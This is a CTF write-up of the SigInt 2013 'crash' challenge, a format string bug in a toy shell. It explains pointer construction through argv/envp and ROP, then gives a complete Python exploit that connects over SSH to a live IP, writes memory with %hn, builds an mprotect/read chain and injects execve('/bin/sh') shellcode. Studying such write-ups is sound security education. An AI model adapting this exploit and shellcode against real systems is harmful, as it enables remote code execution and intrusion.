SigInt 2013 - Pwning 400 (crash)
01 July 2013 by mfDownload problem: Here
The gn00bz didn’t play at SigInt, but once the CTF ended, we saw this problem and decided to solve it anyway. The CTF infrastructure was still up, so we could access the live service (and even get a flag).
The problem is a simplistic shell with only a couple of available commands. An obvious-looking format string is present in the echo command.
Description:
A crash won't help you here. Escape this feature-rich shell by whacking it with a reliable exploit.
ssh to xxx:xxx@188.40.147.115
After connecting to the problem, we can issue the following command to trigger the bug:
echo %08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
Now, let’s proceed and dump a larger portion of the stack. We can see that our format string is not on the stack, but on the heap. This means we cannot use format strings to overwrite arbitrary memory, at least not in a straight-forward fashion.
Ret address
|
0x00000000 0x08059c27 0x00000004 | 0x00000000
0x080481f0 0xbfc03208 0x0804934f<-+ 0x0870ca7d
0x0870ca78 0x00000004 0x0804a4e2 0x00000000
0x080fb070 0x00000001 0x0870ca7d 0x00000000
0x080481f0 0xbfc03238 0x0804946a 0x0870ca78
0x00000000 0x00000271 0x00000002 0x0806d0c0
0x00000000 0x0870ca78 0x0870ca78 0x00000000
P1 0x0813800c P2 0x0806d0c0 0x0806cb84 0x00000003<-- argc
+-[0xbfc032c4 +-[0xbfc032d4 0x00000000 0xf5539250
| 0x080481f0 | 0x00000000 0x0813800c 0x0806d0c0
| 0x8064817f | 0x0d968010 0x00000000 0x00000000
| 0x00000000 | 0x00000000 0x00000000 0x00000000
| 0x00000000 | 0x00000000 0x00000000 0x00000003
| 0x00000000 | 0x00000000 0x08048ef9 0x08049424
| 0x00000003 | 0xbfc032c4 0x0806d020 0x0806d0c0
| 0x00000000 | 0xbfc032bc 0x00000000 0x00000003
+->0xbfc04e54 | 0xbfc04e5a 0xbfc04e5d 0x00000000
0xbfc04e62<-+ 0xbfc04e73 0xbfc04e82 0xbfc04e94
0xbfc04ea9 0xbfc04f07 0xbfc04f20 0xbfc04f35
0xbfc04f56 0xbfc04f8a 0xbfc04fdb 0x00000000
0x00000020 0xb775e414 0x00000021 0xb775e000
0x00000010 0x078af3fd 0x00000006 0x00001000
0x00000011 0x00000064 0x00000003 0x08048034
0x00000004 0x00000020 0x00000005 0x00000006
0x00000007 0x00000000 0x00000008 0x00000000
Since we cannot plant pointers within the format string itself, we will first need to construct pointers which can then be used to perform arbitrary memory writes.
On the stack we can see the return address as well as the arguments of main(), argc, argv and envp. The stack dump above has argv marked as P1 and envp as P2, and both P1 and P2 are "pointers to a pointer", which is exactly what we need.
Let's get to work. P1 and P2 are always on the same (relative) spot within the stack, and can be accessed with %33\( and %34\), in format-string lingo. The pointers they point to can be reached a bit further down the stack with %65\( and %69\).
Take a look at the following commands sent to the server:
echo %16705c%33$hn%2c%34$hn
echo %16705c%69$hn%257c%65$hn
The first command consists of two writes. The first write will put the value of 0x4141 at the memory location where %33\( points to (pointer is considered as (short *), due to the hn parameter), and the second one will write the value of 0x4143 at the offset where %34\) points to. If you think about it for a bit, you can see that we created two pointers with the first command. In the case of the stack dump above, the position %65\( would hold the value 0xbfc4141 and the position %69\) 0xbfc04143. We have now created two pointers which we can then use with direct parameter access to overwrite any position in memory.
The second command does just that. It takes the two newly-formed pointers, and writes the value of 0x4141 to the first and the value of 0x4242 to the second one.
We now have the means of writing any value to any position in memory, and we do it in the above two steps: 1) create pointer, 2) use pointer. From there, the exploit is easy and involves creating ROP calls.
If you are thinking about trying to merge all of these separate format strings into a single big one, it won't work on glibc/eglibc, so it needs to be split over many different calls.
Here is the full exploit for the problem:
import paramiko
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
def get_until(sock, delim):
s = ""
c = ""
while not s.endswith(delim):
c = sock.recv(1)
s += c
return s[:-len(delim)].strip()
def get_line(sock):
return get_until(sock, "\n")
def prep_fmt(num):
ret = []
prev = 0
# If the argument is an int, split it into two half-words
if type(num) is int:
num = [(num >> 16) & 0xFFFF, num & 0xFFFF]
for n in num:
ret.append((n - prev) & 0xFFFF)
prev = n
return ret
def send_cmd(s, cmd, param, wait=True):
ret = ""
print "[CMD] %s %s" % (cmd, param)
s.send("%s %s\n" % (cmd, param))
# Skip one line (our command echoed back)
get_line(s)
if wait:
# Next line is the response
ret = get_line(s)
get_until(s, "Command returned: ")
print "[RET]", get_line(s)
get_until(s, "craSH-> ")
else:
# Cleanup the socket as best as we can
s.settimeout(1.0)
try:
for x in range(0, 3):
s.recv(0xFFFF)
except:
pass
s.settimeout(None)
return ret
client = paramiko.Transport(("188.40.147.115", 22))
client.connect(username="xxxx", password="xxxx")
session = client.open_channel(kind='session')
session.exec_command("")
s = session
# Wait for command line
get_until(s, "craSH-> ")
# Information leak
data = send_cmd(s, "echo ", 80*"%08x.")
data = data[:-1].split(".")
print data
leak = []
for d in data:
leak.append(int(d, 16))
P1 = 33
P2 = 34
print "0x%x" % leak[P1-1]
print "0x%x" % leak[P2-1]
# Calculate offset to return address on stack
ret = leak[P1-1] - 58*4
# Stack-fixup gadget
#.text:080F7C5B add esp, 140h
#.text:080F7C61 xor esi, esi
#.text:080F7C63 mov eax, esi
#.text:080F7C65 pop esi
#.text:080F7C66 pop edi
#.text:080F7C67 pop ebp
#.text:080F7C68 retn
stack_fixup = 0x080F7C5B
mprotect = 0x080A56C0
read = 0x080A3CBA
pppr = 0x080F7C65
# A valid bss, page-aligned pointer. Any pointer will do really.
bss_ptr = 0x0813c000
P3 = 65
P4 = 69
# Pointer to the ROP-part of the stack
base = ret+0x140+12+4
# mprotect(bss_ptr, 0x1000, 7)
fmt = prep_fmt([base & 0xFFFF, (base + 2) & 0xFFFF])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
fmt = prep_fmt(mprotect)
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P4, fmt[1], P3))
base += 4
fmt = prep_fmt([base & 0xFFFF, (base + 2) & 0xFFFF])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
fmt = prep_fmt(pppr)
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P4, fmt[1], P3))
base += 4
fmt = prep_fmt([base & 0xFFFF, (base + 2) & 0xFFFF])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
fmt = prep_fmt(bss_ptr)
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P4, fmt[1], P3))
base += 4
fmt = prep_fmt([base & 0xFFFF, (base + 2) & 0xFFFF])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
send_cmd(s, "echo", "%%%dc%%%d$n" % (0x1000, P3))
base += 4
fmt = prep_fmt([base & 0xFFFF, (base + 2) & 0xFFFF])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
send_cmd(s, "echo", "%%%dc%%%d$n" % (7, P3))
base += 4
# read(0, bss_ptr, 100)
fmt = prep_fmt([base & 0xFFFF, (base + 2) & 0xFFFF])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
fmt = prep_fmt(read)
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P4, fmt[1], P3))
base += 4
fmt = prep_fmt([base & 0xFFFF, (base + 2) & 0xFFFF])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
fmt = prep_fmt(pppr)
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P4, fmt[1], P3))
base += 4
fmt = prep_fmt([base & 0xFFFF, (base + 2) & 0xFFFF])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
send_cmd(s, "echo", "%%%d$n" % (P3))
base += 4
fmt = prep_fmt([base & 0xFFFF, (base + 2) & 0xFFFF])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
fmt = prep_fmt(bss_ptr)
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P4, fmt[1], P3))
base += 4
fmt = prep_fmt([base & 0xFFFF, (base + 2) & 0xFFFF])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
send_cmd(s, "echo", "%%%dc%%%d$n" % (100, P3))
base += 4
# Jump to the injected shellcode
fmt = prep_fmt([base & 0xFFFF, (base + 2) & 0xFFFF])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
fmt = prep_fmt(bss_ptr)
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P4, fmt[1], P3))
base += 4
# Overwrite the return address on the stack
fmt = prep_fmt([ret & 0xFFFF, (ret & 0xFFFF) + 2])
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P1, fmt[1], P2))
fmt = prep_fmt(stack_fixup)
send_cmd(s, "echo", "%%%dc%%%d$hn%%%dc%%%d$hn" % (fmt[0], P4, fmt[1], P3), wait=False)
# execve("/bin/sh")
sc = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
# Pad to size 100, since read() expects it
s.send(sc + (100 - len(sc))*"A")
# And we are done.
s.send("uname -a; /home/flag/get_flag;\n")
while 1:
data = s.recv(1024)
if not data:
break
print data
Flag: SIGINT_dont_we_all_love_format_string_programming